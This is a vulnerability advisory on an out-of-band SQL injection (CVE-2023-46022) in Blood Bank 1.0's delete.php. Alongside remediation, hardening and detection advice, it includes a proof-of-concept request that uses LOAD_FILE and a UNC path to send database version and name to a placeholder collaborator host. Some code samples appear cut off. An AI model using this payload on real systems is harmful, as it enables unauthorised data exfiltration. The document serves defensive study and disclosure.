Blood Bank 1.0 - 'bid' SQLi

Blood Bank 1.0 — 'bid' Out‑of‑Band SQL Injection (CVE-2023-46022)

This article describes the Out‑of‑Band (OOB) SQL Injection vulnerability identified in the Code‑Projects Blood Bank 1.0 application (file: /delete.php parameter bid, CVE‑2023‑46022). It explains how the vulnerability works at a conceptual level, shows an example of vulnerable code, presents safe remediation patterns, and outlines detection and mitigation steps for defenders. All testing examples are for authorized, controlled environments only.

What is the vulnerability?

The application concatenates user input from the bid GET parameter directly into a SQL query without proper sanitization or parameterization. Because the database server can make outbound requests via certain functions (for example LOAD_FILE() combined with an accessible file protocol or techniques that trigger DNS/HTTP callbacks), an attacker may perform OOB SQL injection to exfiltrate data to an external collaborator service.

High‑level mechanics of OOB SQL injection

• Traditional SQL Injection returns data directly in the HTTP response. OOB SQLi uses database features to trigger network activity (DNS/HTTP) to an attacker‑controlled host so data can be exfiltrated indirectly.
• Common techniques leverage DB functions that interact with files or network resources (e.g., LOAD_FILE(), INTO OUTFILE, or functions that cause DNS lookups when concatenated into UNC paths on some platforms).
• Burp Collaborator and similar OAST/OOB services capture those outbound callbacks and let testers prove extraction of DB metadata (server version, database name, user, etc.).

Lab‑safe proof‑of‑concept (conceptual)

The following POC shows the structure of an OOB payload in a controlled lab. Replace placeholders with your authorized collaborator domain only when testing in an environment you own or have explicit permission to test.

GET /bloodbank/file/delete.php?bid=3' + (SELECT LOAD_FILE(CONCAT('\\\\', VERSION(), '.', DATABASE(), '.your‑collaborator-domain\\a.txt'))) + ' HTTP/1.1
Host: target.local

Explanation: This demonstrates a payload pattern that attempts to use LOAD_FILE() and a constructed UNC/hostname to force the database server to resolve/lookup a host containing concatenated DB metadata. If the resolver performs an outbound DNS/NetBIOS/SMB lookup to your collaborator domain, the OOB service records that callback and leaks the data. Only execute this type of test with written permission and within a lab environment.

Typical vulnerable PHP pattern (example)

// Vulnerable snippet (illustrative)

Why this is vulnerable:

• User control over $bid is injected directly into SQL without validation or parameter binding.
• If the database user or server supports operations that cause outbound resolution or file reads, crafted input can cause data to be exfiltrated OOB.

Secure remediation — code fixes

Primary defenses: use prepared statements (parameterized queries), validate and cast input to expected types, apply least privilege to the DB account, and add CSRF protections. Example fixes using PDO (recommended) and integer validation:

// Secure example using PDO and strict validation
 PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);

$stmt = $pdo->prepare('DELETE FROM blood_requests WHERE id = :id');
$stmt->execute([':id' => $bid]);
echo "Deleted";
?>

Explanation: This code enforces type (integer) at the application boundary, uses a parameterized query to avoid concatenating user input into SQL, and uses PDO with native prepares which prevents SQL injection vectors regardless of input content.

Alternative secure example using mysqli

// Secure example using mysqli prepared statement
prepare('DELETE FROM blood_requests WHERE id = ?');
$stmt->bind_param('i', $bid);
$stmt->execute();
?>

Explanation: This mysqli example binds the bid parameter as an integer. Prepared statements separate code from data so the DB will not parse user input as SQL syntax.

Additional mitigations and configuration hardening

• DB permissions: Run the web application with a DB user that has only the necessary privileges. Avoid granting FILE, SUPER, or other powerful permissions if not required.
• Disable dangerous functions: Where possible, remove or restrict DB functions that can read files or make external requests (e.g., restricting LOAD_FILE(), INTO OUTFILE usage, or limiting UDFs).
• Network controls: Block or filter outbound DB server traffic at the network perimeter to prevent direct DNS/SMB/HTTP exfiltration from DB hosts.
• WAF & IDS: Deploy a Web Application Firewall and tune rules to detect unusual SQL syntax, concatenation with file/network functions, and suspicious escaped sequences. Use IDS signatures that look for common OOB patterns.
• Input validation: Apply whitelist validation (e.g., numeric only for IDs), length limits, and canonicalization before use.
• Error handling: Suppress detailed DB errors from public responses; log errors securely for diagnostics.
• CSRF protection: Ensure destructive actions (DELETE) require a CSRF token and correct HTTP verbs (POST/DELETE) so only legitimate users can trigger them.
• Logging & monitoring: Monitor for abnormal outbound DNS/SOCKS/SMB activity originating from DB hosts and for patterns of injected SQL in web logs.

Detection guidance and indicators of compromise

• Search web logs for requests with unexpected SQL metacharacters in numeric parameters (quotes, concatenation operators, backslashes).
• Look for outbound DNS/SMB lookups from DB servers that reference unusual, randomized or attacker‑controlled domains containing DB metadata (e.g., components that look like version or database names).
• WAF/IDS detections: signatures that flag usage of LOAD_FILE, INTO OUTFILE, or concatenated UNC paths in SQL statements coming from the application.
• Application logs showing failed or unusual SQL error strings that correlate with odd HTTP requests.

Risk, impact and prioritization

Aspect	Impact
Confidentiality	High — potential exfiltration of database contents via OOB channels
Integrity	Medium — attacker could modify or delete records if injection extends beyond read-only techniques
Availability	Low–Medium — injection could lead to destructive queries, depending on privileges
Exploitability	Moderate — requires ability to influence vulnerable parameter and for DB server to use features that cause outbound lookups

Responsible testing and disclosure

• Only test for OOB SQLi in systems you own or have explicit, written permission to assess.
• Use controlled collaborator services or internal monitoring systems (not third‑party targets) when testing network callbacks.
• If you discover a vulnerability in a third‑party product, follow responsible disclosure: notify the vendor privately, provide reproduction steps with sanitized data, and coordinate timing for patch release.

References and resources

• Vendor/project: https://code-projects.org/blood-bank-in-php-with-source-code
• Software package: Blood_Bank_In_PHP_With_Source_code.zip (from Code‑Projects)
• CVE entry: CVE‑2023‑46022 (refer to official vulnerability advisories for timeline and patches)
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection